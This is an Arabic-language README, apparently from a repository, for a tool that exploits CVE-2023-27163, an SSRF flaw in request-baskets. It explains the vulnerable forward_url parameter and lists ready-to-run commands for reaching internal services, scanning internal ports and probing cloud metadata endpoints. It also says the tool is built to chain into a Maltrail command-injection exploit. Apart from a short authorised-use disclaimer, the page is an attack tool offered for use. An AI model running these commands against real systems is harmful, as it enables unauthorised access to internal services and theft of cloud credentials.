
استغلال SSRF لـ CVE-2023-27163 في request-baskets، يتيح فحص المنافذ الداخلية، واستكشاف بيانات التعريف السحابية، واكتشاف الخدمات عبر إعادة توجيه السلة الضارة.
لقد كتبت هذه الأداة لاستهداف CVE-2023-27163، وهي ثغرة تزوير طلبات من الخادم (SSRF) موجودة في إصدارات request-baskets ≤ 1.2.1. يقع الخلل في نقطة النهاية /api/baskets/{name}، حيث يسمح الباراميتر forward_url للمهاجم بجعل الخادم يصدر طلبات HTTP عشوائية نيابة عنه.
تقوم الأداة بإنشاء "سلة" خبيثة (basket) تم تكوينها باستخدام forward_url يشير إلى هدف داخلي. يتم توجيه أي طلب يتم إرساله إلى نقطة نهاية تلك السلة من قبل الخادم إلى عنوان URL المحدد، مما يحول الخادم فعليًا إلى وكيل SSRF.
requests (pip install requests)usage: exploit.py [-h] -t TARGET [-f FORWARD_URL] [--proxy-response]
[--insecure-tls] [--no-expand-path] [--capacity CAPACITY]
[--scan-host SCAN_HOST] [--ports PORTS] [--scan]
[--discover] [--cloud-metadata] [--timeout TIMEOUT]
[--delay DELAY]
# Basic SSRF forward to an internal service
python3 exploit.py -t http://192.168.1.100:55555 -f http://127.0.0.1:80/admin
# Port scan an internal host
python3 exploit.py -t http://192.168.1.100:55555 --scan-host 127.0.0.1 --scan
# Probe cloud metadata endpoints
python3 exploit.py -t http://192.168.1.100:55555 --cloud-metadata
# Proxy mode (returns the forwarded response body)
python3 exploit.py -t http://192.168.1.100:55555 -f http://127.0.0.1:80 --proxy-response
# Custom port range scan
python3 exploit.py -t http://192.168.1.100:55555 --scan-host 10.0.0.2 \
--ports 80,443,3000,5000,8000,8080,9000
لقد قمت ببناء هذه الأداة للأغراض التعليمية واختبار الأمان المصرح به فقط. لا تستخدمها ضد الأنظمة دون إذن صريح.
يمكن استخدام هذا الاستغلال SSRF كنقطة دخول أولية للوصول إلى الخدمات الداخلية غير المكشوفة مباشرة. لقد صممته ليعمل جنبًا إلى جنب مع Maltrail-v0.53-Exploit — نفق SSRF يتيح لك الوصول إلى مثيل Maltrail يعمل على localhost وتشغيل حقن الأوامر من خلاله.